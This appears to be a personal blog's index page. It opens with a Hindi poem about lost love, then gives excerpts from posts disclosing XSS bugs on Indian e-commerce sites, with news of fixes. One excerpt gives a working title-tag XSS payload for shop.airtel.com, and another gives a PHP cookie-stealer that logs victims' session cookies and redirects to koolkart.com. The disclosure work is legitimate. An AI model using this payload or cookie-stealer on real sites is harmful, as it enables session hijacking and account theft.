आज फिर से एक सपना देखा,
कि फिर सब पहले जैसा है।
वही तुम हो, वही मैं हूँ,
और आखों में वही ख्वाब हैं।
आज भी वही काली शर्ट पहनी है,
जिसने मैं तुम्हे सबसे अच्छा लगता था।
दिल भी कह रहा है कि तुम आओगी,
बोलोगी कि एक नयी शुरुवात करते हैं।
फिर एक आवाज़ से उठ खड़ा हुआ,
किसी के रोने की आवाज़ थी,
फिर देखा तुम नहीं हो, मैं वहीं हूँ,
और आँखो में बस टूटे ख्वाब हैं।
– विवेक गुप्ता
Update: Got a mail from snapdeal security team, and this vulnerability has been fixed.
I just found a XSS vulnerability on a very popular Indian e-commerce site snapdeal.com. It was a bit tricky to find the XSS pattern, because searching for a string containing some javascript functions such as “alert(” or “String.fromCharCode(“, were throwing “Access Denied” page. Though, the search string containing “eval(” wasn’t throwing any error.
Snapdeal XSS Access-Denied
I was randomly browsing through shop.airtel.com and discovered a XSS vulnerability. This involves one of the simplest forms of XSS attack, known as end title tag attack. This vulnerability is present in such web pages where the search string is directly put between title tags, without sanitizing it.
So, by simply closing the title tag and putting the script tag after it does the trick. I searched for the following in the search box on the page shop.airtel.com:
</TITLE><SCRIPT>alert("XSS ;-)");</SCRIPT>
And there it was, the alert dialog box!!! (see screenshot below)
Note: This type of vulnerability is blocked by Google Chrome’s XSS auditor, so use firefox to test it.
On the occasion of black friday, DigitalOcean offered $50 in credits (which is equivalent to 10 months free 512MB VPS plan).
Lately, I’ve seen a lot of people using ad block extensions/addons to block ads on the websites. Such extensions/addons reduce the clutter a bit, hence provide a better browsing experience to the user. But on the other hand, many sites solely depend on the ad revenues in order to keep them running.
In order to fix this problem, I quickly hacked a very tiny script which detects ad blocking extensions/addons. I’ve tested the script with AdBlock and AdBlock Plus extensions and it worked fine.
Here are the steps to detect ad blocking extensions/addons: Continue reading
I was going though few Indian e-commerce websites and found XSS vulnerabilities in few of them. I’m not publishing injection patterns due to security reasons. If anyone from the companies listed below want to know the injection pattern for their respective websites, get in touch. Below is the list of websites which are vulnerable:
Find the screenshots for all the sites listed above (click to enlarge) : Continue reading
Earlier, I demonstrated the XSS vulnerability in DealsAndYou (fixed) and now, I’ll demo a XSS bug on KoolKart.com. I’ll describe the whole process below.
Step 1 – Writing a php script for saving cookie returned by injected code (cookie-stealer.php).
$str = trim($_REQUEST['cookie']);
$file = 'cookie.txt';
if(!empty($str)){
$current = file_get_contents($file);
$current .= date('Y-m-d H:i:s') . "\t\t" . $str . "\n\n\n";
file_put_contents($file, $current);
header('Location: http://www.koolkart.com/');
}
The code is self explanatory. It gets the cookie information via querystring, saves it to a text file and redirects back to koolkart. Continue reading
Dealsandyou.com, Y U NO sanitize input
Update: Dealsandyou has fixed the bug. Responded on twitter with a thanks.
dealsandyouthanks
I was looking at dealsandyou.com a couple of days back and something (may be their bad design) made me do a XSS vulnerability test on their “Search” input box using the XSS Locator code snippet. Voila!, an alert box popped up confirming my hunch. Continue reading